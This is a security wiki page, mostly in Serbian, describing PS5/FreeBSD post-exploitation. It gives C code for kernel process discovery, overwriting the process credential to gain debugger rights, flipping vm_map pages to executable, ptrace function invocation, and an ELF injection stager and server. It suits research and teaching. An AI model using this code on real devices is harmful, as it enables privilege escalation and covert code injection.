# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study) {{#include ../banners/hacktricks-training.md}} ## Pregled Ova stranica dokumentuje praktičnu Unix/BSD usermode process/ELF injection tehniku na PlayStation 5 (PS5), koji je zasnovan na FreeBSD. Metoda se generalizuje na FreeBSD derivati kada već imate kernel read/write (R/W) primitives. Na visokom nivou: - Izmenite trenutne akreditive procesa (ucred) da biste dodelili privilegije debagera, omogućavajući ptrace/mdbg na proizvoljnim korisničkim procesima. - Pronađite ciljne procese pretraživanjem kernel allproc liste. - Zaobiđite PROT_EXEC ograničenja menjajući vm_map_entry.protection |= PROT_EXEC u ciljanom vm_map-u putem data-only zapisa u kernel memoriju. - Koristite ptrace za izvođenje Remote Function Invocation (RFI): suspendujte nit, postavite registre da pozovete proizvoljne funkcije unutar cilja, nastavite izvršavanje, prikupite povratne vrednosti i vratite stanje. - Mapirajte i pokrenite proizvoljne ELF payload-e unutar cilja koristeći in-process ELF loader, zatim pokrenite posebnu nit koja izvršava vaš payload i pokreće breakpoint da biste se lepo odvojili. PS5 hypervisor mitigacije koje vredi pomenuti (u kontekstu ove tehnike): - XOM (execute-only .text) sprečava čitanje/pisanje kernel .text. - Brisanje CR0.WP ili onemogućavanje CR4.SMEP izaziva hypervisor vmexit (crash). Samo data-only kernel zapisi su izvodljivi. - Userland mmap je po defaultu ograničen na PROT_READ|PROT_WRITE. Dodeljivanje PROT_EXEC mora se obaviti uređivanjem vm_map unosa u kernel memoriji. Ova tehnika je post-exploitation: pretpostavlja kernel R/W primitives iz exploit lanca. Javne payload-e demonstriraju ovo do firmware 10.01 u vreme pisanja. ## Kernel data-only primitives ### Process discovery via allproc FreeBSD održava dvostruko povezanu listu procesa u kernel .data na allproc. Sa kernel read primitive, iterirajte je da biste locirali imena procesa i PID-ove: ```c struct proc* find_proc_by_name(const char* proc_name){ uint64_t next = 0; kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head struct proc* proc = malloc(sizeof(struct proc)); do{ kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry if (!strcmp(proc->p_comm, proc_name)) return proc; kernel_copyout(next, &next, sizeof(uint64_t)); // advance next } while (next); free(proc); return NULL; } void list_all_proc_and_pid(){ uint64_t next = 0; kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); struct proc* proc = malloc(sizeof(struct proc)); do{ kernel_copyout(next, (void*)proc, sizeof(struct proc)); printf("%s - %d\n", proc->p_comm, proc->pid); kernel_copyout(next, &next, sizeof(uint64_t)); } while (next); free(proc); } ``` - KERNEL_ADDRESS_ALLPROC zavisi od firmvera. - p_comm je ime fiksne veličine; razmotrite pid->proc pretrage ako je potrebno. ### Povećajte privilegije za debugovanje (ucred) Na PS5, struct ucred sadrži polje Authority ID dostupno preko proc->p_ucred. Upisivanje debugger Authority ID-a omogućava ptrace/mdbg nad ostalim procesima: ```c void set_ucred_to_debugger(){ struct proc* proc = get_proc_by_pid(getpid()); if (proc){ uintptr_t authid = 0; // read current (optional) uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t)); kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t)); free(proc); } } ``` - Offset 0x58 je specifičan za PS5 firmware family i mora se proveriti za svaku verziju. - Nakon ovog write-a, injector može da se attach-uje i instrumentuje user processes putem ptrace/mdbg. ## Zaobilaženje RW-only user mappings: vm_map PROT_EXEC flip Userland mmap može biti ograničen na PROT_READ|PROT_WRITE. FreeBSD prati address space procesa u vm_map od vm_map_entry čvorova (BST plus list). Svaki entry sadrži protection i max_protection polja: ```c struct vm_map_entry { struct vm_map_entry *prev,*next,*left,*right; vm_offset_t start, end, avail_ssize; vm_size_t adj_free, max_free; union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags; vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance; int wired_count; vm_pindex_t lastr; }; ``` With kernel R/W možete locirati target-ov vm_map i postaviti entry->protection |= PROT_EXEC (i, po potrebi, entry->max_protection). Praktčne napomene za implementaciju: - Prođite kroz entry-e ili linearno preko next ili koristeći balanced-tree (left/right) za O(log n) pretragu po opsegu adresa. - Izaberite poznatu RW regiju koju kontrolišete (scratch buffer ili mapped file) i dodajte PROT_EXEC kako biste mogli postaviti kod ili loader thunks. - PS5 SDK code pruža helper-e za brzu lookup map-entry i prebacivanje zaštita. Ovo zaobilazi userland-ovu mmap politiku editovanjem kernel-owned metadata direktno. ## Remote Function Invocation (RFI) with ptrace FreeBSD nema Windows-style VirtualAllocEx/CreateRemoteThread. Umesto toga, naterajte target da poziva funkcije na sebi pod ptrace kontrolom: 1. Attach-ujte se na target i izaberite thread; PTRACE_ATTACH ili PS5-specific mdbg flow-e mogu važiti. 2. Sačuvajte thread context: registers, PC, SP, flags. 3. Upisujte argument registers prema ABI (x86_64 SysV ili arm64 AAPCS64), postavite PC na target funkciju i po potrebi smestite dodatne args/stack. 4. Single-step-ujte ili continue dok se ne dogodi kontrolisano zaustavljanje (npr. software breakpoint ili signal), zatim pročitajte povratne vrednosti iz regs. 5. Restore-ujte originalni context i continue-ujte. Upotrebe: - Pozovite in-process ELF loader (npr. elfldr_load) sa pointer-om na vaš ELF image u memoriji targeta. - Pozovite helper routine da dohvatite vraćene entrypoint-e i pointer-e na payload-args. Example of driving the ELF loader: ```c intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target); intptr_t args = elfldr_payload_args(target_pid); printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args); ``` Loader mapira segments, resolves imports, primenjuje relocations i vraća entry (često CRT bootstrap) plus opaque payload_args pointer koji vaš stager prosleđuje payload’s main(). ## Threaded stager and clean detach Minimalni stager unutar cilja kreira novi pthread koji pokreće ELF’s main i zatim okida int3 da signalizira injector da se detach-uje: ```c int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){ pthread_t thread; functions->pthread_create_ptr(&thread, 0, (void*(*)(void*))functions->elf_main, functions->payload_args); asm("int3"); return 0; } ``` - Pokazivači SCEFunctions/payload_args obezbeđeni su od strane loader/SDK glue. - Nakon breakpoint-a i detach-a, payload nastavlja u svojoj niti. ## Kraj-do-kraja tok (referentna implementacija za PS5) Funkcionalna implementacija se isporučuje kao mali TCP injector server i klijentski skript: - NineS server sluša na TCP 9033 i prima header koji sadrži ime ciljnog procesa, praćeno ELF image: ```c typedef struct __injector_data_t{ char proc_name[MAX_PROC_NAME]; Elf64_Ehdr elf_header; } injector_data_t; ``` - Korišćenje Python klijenta: ```bash python3 ./send_injection_elf.py SceShellUI hello_world.elf ``` Primer Hello-world payload-a (loguje u klog): ```c #include #include #include int main(){ klog_printf("Hello from PID %d\n", getpid()); return 0; } ``` ## Praktična razmatranja - Offseti i konstante (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) su specifični za firmware i moraju se ažurirati za svako izdanje. - Zaštite hypervisora primoravaju pisanja samo podataka u kernel; ne pokušavajte patchovati CR0.WP ili CR4.SMEP. - JIT memorija je alternativa: neki procesi izlažu PS5 JIT API-je za alokaciju izvršnih stranica. Preokret zaštite u vm_map uklanja potrebu oslanjanja na JIT/mirroring trikove. - Obezbedite robusno čuvanje/obnavljanje registara; u slučaju greške možete izazvati deadlock ili crash cilja. ## Javni alati - PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk - ELF loader: https://github.com/ps5-payload-dev/elfldr - Injector server: https://github.com/buzzer-re/NineS/ - Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils - Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv ## Reference - [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/) - [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk) - [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr) - [buzzer-re/NineS](https://github.com/buzzer-re/NineS/) - [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils) - [Mira](https://github.com/OpenOrbis/mira-project) - [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv) - [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html) {{#include ../banners/hacktricks-training.md}}